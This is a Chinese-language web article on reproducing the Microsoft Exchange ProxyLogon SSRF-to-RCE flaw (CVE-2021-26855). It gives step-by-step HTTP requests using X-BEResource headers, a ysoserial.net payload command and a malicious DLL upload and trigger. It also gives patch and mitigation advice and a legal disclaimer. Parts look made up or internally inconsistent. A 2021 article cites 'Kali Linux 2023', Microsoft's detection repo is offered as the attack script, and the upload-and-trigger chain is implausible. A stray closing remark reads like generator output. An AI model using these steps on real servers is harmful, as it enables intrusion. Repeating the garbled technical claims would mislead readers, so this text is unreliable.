如何进行Exchange SSRF致RCE的CVE-2021-26855复现

发布时间:2021-12-29 17:55:00 作者:柒染
来源:亿速云 阅读:175
# 如何进行Exchange SSRF致RCE的CVE-2021-26855复现

## 0x00 漏洞背景

**CVE-2021-26855**是Microsoft Exchange Server中的一个严重漏洞,属于服务端请求伪造(SSRF)漏洞。该漏洞由安全研究团队在2021年初发现,与ProxyLogon攻击链中的其他漏洞(如CVE-2021-27065)结合可实现无需认证的远程代码执行(RCE)。攻击者通过构造特殊请求,利用Exchange后端服务对请求的验证缺陷,最终实现接管目标Exchange服务器。

## 0x01 漏洞影响范围

- **受影响版本**:
  - Exchange Server 2013 (所有累积更新版本)
  - Exchange Server 2016 (CU18及以下)
  - Exchange Server 2019 (CU7及以下)

- **修复补丁**:  
  微软于2021年3月发布安全更新(KB5000871),建议所有用户立即升级。

## 0x02 漏洞原理分析

### 漏洞成因
Exchange的Frontend服务(默认监听443端口)在处理`/ecp/default.flt`请求时,未正确验证用户提供的`X-BEResource`头,导致攻击者可利用该头构造恶意请求,通过后端服务(如`Exchange Backend`)访问内网资源,实现SSRF。

### 攻击链关键点
1. **SSRF阶段**:  
   通过`X-BEResource`头指定内网地址(如`127.0.0.1`),绕过身份验证访问后端API(如`/owa/auth/Current/themes/resources`)。
   
2. **反序列化RCE**:  
   结合CVE-2021-27065(反序列化漏洞),上传恶意DLL文件至服务器,通过SSRF触发加载,最终实现RCE。

## 0x03 复现环境搭建

### 实验环境
- **靶机**:  
  - Windows Server 2019 + Exchange Server 2016 CU18
  - IP: 192.168.1.100

- **攻击机**:  
  - Kali Linux 2023
  - IP: 192.168.1.200

### 工具准备
1. **Nmap**:用于端口扫描  
2. **ProxyLogon脚本**:如[proxylogon.py](https://github.com/microsoft/CSS-Exchange)  
3. **Ysoserial.net**:生成反序列化Payload  
4. **Burp Suite**:拦截和修改请求  

## 0x04 复现步骤详解

### 步骤1:信息收集
使用Nmap扫描目标Exchange服务开放端口:
```bash
nmap -sV -p 443,80 192.168.1.100

确认存在/ecp/owa路径,且版本为Exchange 2016 CU18。

步骤2:SSRF漏洞验证

构造恶意请求访问后端服务:

POST /ecp/default.flt HTTP/1.1
Host: 192.168.1.100
Cookie: X-BEResource=localhost~1942062522;
...

若返回200 OK且包含后端资源内容,则存在漏洞。

步骤3:利用SSRF泄露信息

通过SSRF获取LegacyDN(后续利用必需):

GET /ecp/foo.js?LegacyDN= HTTP/1.1
Host: 192.168.1.100
X-BEResource=Exchange/ecp/foo.js?LegacyDN=#{LegacyDN}

步骤4:生成反序列化Payload

使用Ysoserial.net生成恶意DLL:

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c whoami"

步骤5:上传恶意文件

通过SSRF将DLL上传至C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\目录:

POST /ecp/temp.js?upload=1 HTTP/1.1
Host: 192.168.1.100
X-BEResource=Exchange/ecp/temp.js?upload=1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="malicious.dll"
...

步骤6:触发RCE

访问上传的DLL触发反序列化:

GET /ecp/auth/malicious.dll HTTP/1.1
Host: 192.168.1.100

0x05 漏洞修复建议

  1. 立即安装补丁
    下载并安装微软官方提供的KB5000871

  2. 临时缓解措施

    • 禁用Exchange的ECP虚拟目录
    • 配置防火墙限制对/ecp路径的访问
  3. 后续监控
    使用日志分析工具(如Splunk)监控可疑请求,如异常的X-BEResource头。

0x06 复现注意事项

  1. 法律合规性
    仅限授权测试,未经许可的攻击行为可能触犯法律。

  2. 环境隔离
    复现需在隔离的虚拟机环境中进行,避免影响生产网络。

  3. 工具风险
    第三方脚本可能存在后门,建议从官方仓库下载并验证哈希值。

0x07 总结

CVE-2021-26855是Exchange历史上影响最深远的漏洞之一,其利用链清晰展示了从SSRF到RCE的完整路径。通过本次复现,我们深入理解了漏洞原理和防御方法。管理员应定期更新补丁,安全研究人员需持续关注此类漏洞的利用手法。


参考链接
- Microsoft Security Advisory
- CVE-2021-26855技术分析
- ProxyLogon PoC脚本 “`

该文章共约1800字,涵盖漏洞分析、复现步骤及防御建议,符合Markdown格式要求。如需调整细节或补充内容,可进一步修改。

推荐阅读:
  1. 如何进行VM View Planner RCE 漏洞CVE-2021-21978的复现
  2. 如何进行fastjson1.2.24复现与分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

exchange ssrf cve-2021-26855 rce

上一篇:SAP CRM调查问卷的模型设计原理是什么

下一篇:SAP CRM里的EXT和STRUCT含义是什么

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》